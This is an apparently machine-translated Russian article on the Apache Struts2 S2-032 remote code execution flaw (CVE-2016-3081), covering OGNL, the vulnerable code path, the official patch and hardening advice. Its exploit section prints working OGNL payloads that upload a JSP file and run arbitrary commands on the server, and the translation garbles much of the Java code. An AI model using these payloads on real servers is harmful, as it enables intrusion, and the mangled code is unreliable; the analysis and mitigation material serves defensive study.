26 апреля 2016 года Apache Struts2 официально выпустил еще одно объявление о безопасности: служба Apache Struts2 может удаленно выполнять любые команды, когда метод штата вызовет и запускается. Официальный номер-S2-032, а номер CVE-CVE-2016-3081. Это крупномасштабная уязвимость сервиса взорвалась через четыре года с момента появления уязвимости выполнения команд Struts2 в 2012 году. Эта уязвимость также является наиболее серьезной уязвимостью безопасности, которая была обнародована в этом году. Хакеры могут использовать эту уязвимость для выполнения удаленных операций на корпоративных серверах, что приводит к серьезным угрозам безопасности, таким как утечка данных, обвинение в удаленном хосте, проникновение интрасети и т. Д.
После того, как уязвимость произошла, это было еще одно коллективное событие для безопасности и связанных с ними компаний. Эксплуататоры уязвимости использовали эту уязвимость как можно больше, чтобы показать свой превосходный уровень; Различные платформы общественного тестирования выпустили компании, которые были пойманы для улучшения роли платформы; Крупные компании по безопасности также полностью использовали эту уязвимость для увеличения влияния компании, воспользоваться маркетингом, бесплатного обнаружения, обновления как можно скорее и т. Д., Осталось много депрессивных производителей, и я никому не спрашивал и ни с кем не связывался; Тогда большое количество депрессивных сотрудников разработки и эксплуатации должно обновлять уязвимые исправления в течение ночи.
Тем не менее, принцип уязвимостей влияет на защиту, а другие факторы редко упоминаются. Эта статья о том, как выдвинуть ваше собственное мнение по вышеуказанным пунктам.
принцип
Эта уязвимость использует динамическое выполнение Ognl Struts2 для доступа к любому коду Java. Используя эту уязвимость, вы можете сканировать удаленные веб -страницы, чтобы определить, существует ли такая уязвимость, а затем отправлять вредоносные инструкции, реализовать загрузки файлов, выполнять собственные команды и другие последующие атаки.
Ognl-это аббревиатура языка навигации объектного графа, а его полное имя-язык навигации объектного графа. Это мощный язык выражения. С помощью простого и последовательного синтаксиса он может получить доступ к свойствам объекта или вызвать методы объекта по желанию, и может пройти через диаграмму структуры всей объекта и реализовать преобразование типов атрибутов объекта и других функций.
#, % и $ символы часто появляются в выражениях ognl
1. Обычно есть три использования символов #.
Доступ к свойствам неровных объектов, такими как выражение #session.msg, поскольку средний стек стойки 2 рассматривается как корневой объект, вам необходимо префикс при доступе к другим неквадратичным объектам; Он используется для фильтрации и проекта (проекта) наборов, таких как люди. Он используется для построения карт, таких как #{'foo1': 'bar1', 'foo2': 'bar2'} в примере.
2. %Символ
Цель символа % - рассчитать значение выражения ognl, когда атрибутом флага является тип строки. Это похоже на оценку в JS и очень жестоко.
3. Символ $ имеет два основных применения.
В международном файле ресурсов см. Egnl Expressions, такие как код в Международном файле ресурса: Reg.agerange = Информация о международном ресурсе: возраст должен быть между $ {min} и $ {max}; Обратитесь к экспрессии OGNL в файле конфигурации фреймворка Struts 2.
Процесс использования кода
1. Запрос клиента
http: // {webseip.webapp}: {portnum}/{vul.action}? Method = {malcmdstr}
2. DefaultActionProxy's DefaultActionProxy Function обрабатывает запросы.
Protected DefaultActionProxy (ActionInvocation Inv, строки имен, строковое действие, String Methodname, Boolean ExecuterSult, Boolean CleanupContext) {this.invocation = inv; this.cleanupcontext = cleanupcontext; Log.debug ("Создание defaultactionProxy для пространства имен [{}] и имени действия [{}]", namespace, actionName); this.ActionName = stringScapeUtils.escapehtml4 (actionName); this.namespace = namespace; this.executeresult = executeresult; // Участники могут обойти его через прохождение переменной, синтаксис -заполнение, побег символов и другие методы. this.method = stringescapeutils.escapeecmascript (stringescapeutils.escapehtml4 (methodname));}3. DefaultActionMapper Метод Имя DefaultActionMapper
String name = key.substring (action_prefix.length ()); if (allowdynamicmethodcalls) {int bang = name.indexof ('!'); if (bang! = -1) {// Получить имя метода string method = cleanupActionName (name.substring (bang + 1)); mapping.setmethod (метод); name = name.substring (0, bang); }}4. Вызовите метод InvokeAction DefaultActionInvocation, чтобы выполнить пропущенный метод.
Защищенная строка Invokeaction (Object Action, ActionConfig ActionConfig) Throws Exception {string methodname = proxy.getMethod (); Log.debug ("Выполнение метода действия = {}", методнэм); String TimerKey = "InvokeAction:" + proxy.getActionName (); try {utiltimerstack.push (timerkey); Объект Methodresult; try {// execute method methodresult = ognlutil.getvalue (methodname + "()", getStack (). getContext (), action); } catch (methodfailedException e) {Решение
Официальное решение состоит в том, чтобы добавить проверку в функциональном очистке имени на шаге 3.
Защищенный шаблон AldActionNames = pattern.compile ("[a-za-z0-9 ._! ///-]*"); защищенная строковая очистка name (final String Rawactname) {// Проверьте, введите регулярное совпадение фильтра ("[a-za-z0-9 ._ ///-]*"), который применяет метод белостиста и ограниченные символы, такие как верхние и нижние цифры. if (AltherActionNames.matcher (RawActionName) .matches ()) {return ravActionName; } else {if (log.isWarnenAbled ()) {log.warn ("action/method [#0] не соответствует разрешенным именам действий [#1], чистка! } String cleanActionName = RawActionName; для (String Chunk: AlthActionNames.split (RawActionName)) {learActionName = blainActionName.replace (chunk, ""); } if (log.isdebugenabled ()) {log.debug ("Очищенное действие/имя метода [#0]", cleanActionName); } return cleanActionName; }}Ремонтные предложения
1. Отключить вызовы динамического метода
Измените файл конфигурации Struts2 и установите значение «struts.enable.dynamicmethodinvocation», например, на false: например:
<constantName = "struts.enable.dynamicmethodinvocation" value = "false"/>;
2. Обновление версии программного обеспечения
Обновление версии стойки до 2.3.20.2, 2.3.24.2 или 2.3.28.1
Патч -адрес: https://struts.apache.org/download.cgi#struts23281
Эксплойт код
1. Загрузите файл:
Метод:%23_memberaccess%[email] [email protected] [/email]@default_member_access,%23Req%3d%40org.apache.structs2.servletactuctionContext%40GetRequest (),%23 res%3d%40org.apache.structs2.servletactionContext%40GetResponse (),%23res.SetchAracterencoDing (%23Parameters.Coding [0]),%23W%3D%23res.getWriter (),%23PAT H%3D%23REQ.GETREALPATH (%23Parameters.pp [0]), New%20Java.io.BufferedWriter (New%20Java.io.fileWriter (%23path%2B%23Parameters.shellName [0]). Приложение (%23PARAM eters.shellcontent [0])). Close (),%23w.print (%23path),%23w.close (), 1?%23xx:%23Request.ToString & ShellName = Stest.jsp & ShellContent = TTT & Encoding = UTF-8 & PP =%2F
Приведенный выше код выглядит немного неудобно, давайте преобразуем его и посмотрим.
Метод: #_ memberAccess [email protected]@default_member_access,#req [email protected]@getRequest (),#[email protected] ervletactionContext@getResponse (),#res.setcharacterencoding (#parameters.encoding [0]),#w =#res.getwriter (),#path =#req.getRealpath (#parameters.pp [0]), new java.io.bufferedwriter (новый java.io.fileWriter (#path+#parameters.shellname [0]). Append (#parameters.shellcontent [0])). Close (),#W.print (#path),#w.close (), 1?
2. Выполнить локальные команды:
Метод:%23_memberaccess%[email protected]@default_member_access,%23res%3d%40org.apache.structs2.servletactoncontext%40getRespo nse (),%23res.setcharacterencoding (%23parameters.coding [0]),%23w%3d%23res.getWriter (),%23s%3dnew+java.util.scanner (@java.lang.run Time@getRuntime (). Exec (%23Parameters.cmd [0]). getInputStream ()). ИСПОЛЬЗОВАНИЕ ИСПРАВЛЕНИЯ (%23PARAMETERS.PP [0]),%23STR%3D%23S.HASNEXT ()%3F%23S. Next ()%3A%23Parameters.ppp [0],%23W.PRINT (%23STR),%23W.CLOSE (), 1?%23XX:%23REQUEST.TOSTRING & CMD = WHOAMI & PP = // A & PP =%20 & ENCODING = UTF-8
Давайте позаботимся о конверсии
Метод: #_ memberAccess [#parameters.name1 [0]] = true,#_ memberaccess [#parameters.name [0]] = true,#_ memberaccess [#parameters.name2 [0]] = {},#_ memberAccess [#paramete rs.name3 [0]] = {},#res [email protected]@getResponse (),#res.setcharacterencoding (#parameters.encoding [0]),#w#d#res.getWriter (),#s = новый java.util.scanner (@java.lang.runtime@getruntime (). Exec (#parameters.cmd [0]). getInputStream ()). usedElimiter (#parameters.pp [0]),#str =#s.hasnext ()? int (#str),#w.close (), 1? #xx:#request.tostring & name = allowstaticmethodaccess & name1 = alluctprivateaccess & name2 = excudedPackagenamePatterns & name3 = excludedclasses & cmd = whoami & pp = // a & pp = & encoding = ut-ut-8Благодаря предыдущему введению я обнаружил, что его относительно легко понять после конверсии.
Как предотвратить
Существует очень важный принцип безопасности, который является принципом наименьших разрешений. Так называемая наименьшая привилегия относится к «привилегиям, которые необходимы для каждого принципала (пользователя или процесса) в сети при завершении определенной операции». Принцип минимальной привилегии означает, что «минимальные привилегии, которые каждый объект в сети должен быть ограничен, чтобы гарантировать, что возможные несчастные случаи, ошибки, подделка компонентов сети и другие потери должны быть сведены к минимуму».
Например, если в системе не используются динамические вызовы методов, они будут удалены во время развертывания, так что даже если патч не будет запущен, он все равно не будет использоваться.
Одним из наиболее важных вредов в этой системе является выполнение локальных процессов, которые также могут быть отключены, если система не работает локально.
Давайте посмотрим на код, который выполняет локальные команды в коде Java, ProcessImpl в ProcessImpl.
Private ProcessImpl (String cmd [], Final String Envblock, Final String Path, Final Long [] stdhandles, Final Boolean RedirecterRorsream) бросает ioException {String cmdStr; SecurityManager Security = System.GetSecurityManager (); Boolean AlsampingCommands = false; if (security == null) {AllowManceUntCommands = true; // JDK имеет указанные параметры, чтобы определить, могут ли локальные процессы быть выполненные. String value = System.getProperty ("jdk.lang.process.allowmbigagountcommands"); if (value! = null) AlliveAmbigageCommands =! "false". EqualsIgnoreCase (значение); } if (AllowMAMBIGUNTCOMMANDS) {Когда Java запускается, добавьте параметр -djdk.lang.process.allowambigouscommands = false, чтобы Java не выполнила локальные процессы.
Если вы можете заранее отключить ненужный контент, когда система развернута, вред этой уязвимости может быть уменьшен или устранен.